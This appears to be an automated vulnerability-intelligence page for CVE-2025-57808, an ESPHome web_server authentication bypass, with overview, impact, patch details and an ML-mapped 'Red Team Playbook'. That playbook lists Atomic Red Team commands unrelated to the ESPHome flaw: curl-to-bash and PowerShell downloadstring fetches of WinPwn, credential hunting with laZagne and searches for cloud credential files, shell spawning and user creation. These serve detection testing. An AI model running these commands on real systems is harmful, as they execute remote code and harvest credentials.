CVE-2025-57808
Overview
This vulnerability is an authentication bypass in the ESPHome web_server component due to improper validation of the client-supplied base64-encoded Authorization header. Specifically, the authentication check erroneously passes when the Authorization value is empty or matches a substring of the valid credentials. This flaw resides in the ESP-IDF platform implementation within ESPHome version 2025.8.0, compromising the integrity of access control mechanisms.
Vulnerability Description
ESPHome is a system to control microcontrollers remotely through Home Automation systems. In version 2025.8.0 in the ESP-IDF platform, ESPHome's web_server authentication check can pass incorrectly when the client-supplied base64-encoded Authorization value is empty or is a substring of the correct value. This allows access to web_server functionality (including OTA, if enabled) without knowing any information about the correct username or password. This issue has been patched in version 2025.8.1.
Impact
An attacker with network access to the ESPHome web_server can bypass authentication without valid credentials, enabling unauthorized control over device functions such as configuration changes and OTA firmware updates. No prior authentication or user interaction is required (CVSS vector AV:A/AC:L/PR:N/UI:N). This could lead to unauthorized device manipulation, potentially compromising the integrity and availability of the controlled microcontrollers within a home automation environment.
Solution
Upgrade ESPHome to version 2025.8.1 or later, where the authentication bypass has been corrected as per the GitHub security advisory GHSA-mxh2-ccgj-8635. The patch, detailed in commit 2aceb56606ec8afec5f49c92e140c8050a6ccbe5, fixes the authorization header validation logic in the web_server component. Users should follow the vendor’s upgrade instructions at the referenced advisory URL to ensure the vulnerability is fully remediated.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in question arises from a flaw in the authentication mechanism of the web server component within the ESPHome system, which is designed for remote control of microcontrollers in home automation environments. Specifically, the issue lies in the handling of base64-encoded Authorization values. When the provided value is either empty or a substring of the correct authorization string, the system incorrectly validates the authentication. This flaw allows unauthorized users to gain access to sensitive functionalities of the web server, including over-the-air (OTA) updates, without needing to supply valid credentials.
Attack vectors for this vulnerability are particularly concerning due to the nature of the affected product. An attacker could exploit this flaw remotely, potentially from anywhere on the internet, by sending crafted requests to the web server. Given that many home automation systems are often exposed to the public internet for remote access, the risk of exploitation is heightened. Scenarios could include an attacker using automated scripts to probe for vulnerable instances of the web server, gaining unauthorized access, and subsequently executing malicious commands, altering configurations, or deploying malware through OTA updates.
The real-world impact of this vulnerability can be significant, especially for users who rely on ESPHome for managing their smart home devices. Unauthorized access could lead to a range of malicious activities, from simple disruptions of service to more severe consequences such as the takeover of connected devices. For businesses that utilize ESPHome for operational technology or IoT solutions, the risk escalates further. Compromised devices could be leveraged for broader network attacks, data exfiltration, or even physical security breaches, thereby posing substantial business risks, including financial loss, reputational damage, and regulatory penalties.
To detect and mitigate this vulnerability, organizations should implement several strategies. First and foremost, upgrading to the patched version of ESPHome is critical to eliminate the flaw. Additionally, network segmentation can help isolate vulnerable devices from critical systems, reducing the potential attack surface. Implementing robust monitoring solutions to detect anomalous access patterns or unauthorized requests can also aid in early detection of exploitation attempts. Furthermore, organizations should enforce strong authentication practices, such as using complex passwords and enabling multi-factor authentication where possible, to bolster security against unauthorized access attempts.
In conclusion, the vulnerability in the ESPHome web server's authentication mechanism represents a serious threat to both individual users and organizations utilizing this technology for home automation and IoT applications. The ease of exploitation combined with the potential for significant impact necessitates immediate attention and action from users and administrators. By prioritizing updates, enhancing security measures, and maintaining vigilance through monitoring, the risks associated with this vulnerability can be effectively managed.
Affected Products (1)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
|
|
Esphome | Esphome Firmware | 2025.8.0 |
cpe:2.3:o:esphome:esphome_firmware:2025.8.0:*:*:*:*:*:*:*
|
Exploits
No exploits found for this CVE.
Threat Feed
0 eventsNo threat activity recorded for this CVE.
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
| ID | Name | ML Conf. | Likelihood | Severity | Link |
|---|---|---|---|---|---|
| CAPEC-90 | Reflection Attack in Authentication Protocol |
30%
|
High | High |
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (3)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-57808 |
| github.com |
GitHub CVE
x_refsource_CONFIRM
|
https://github.com/esphome/esphome/security/advisories/GHSA-mxh2-ccgj-8635 |
| github.com |
GitHub CVE
x_refsource_MISC
|
https://github.com/esphome/esphome/commit/2aceb56606ec8afec5f49c92e140c8050a6ccbe5 |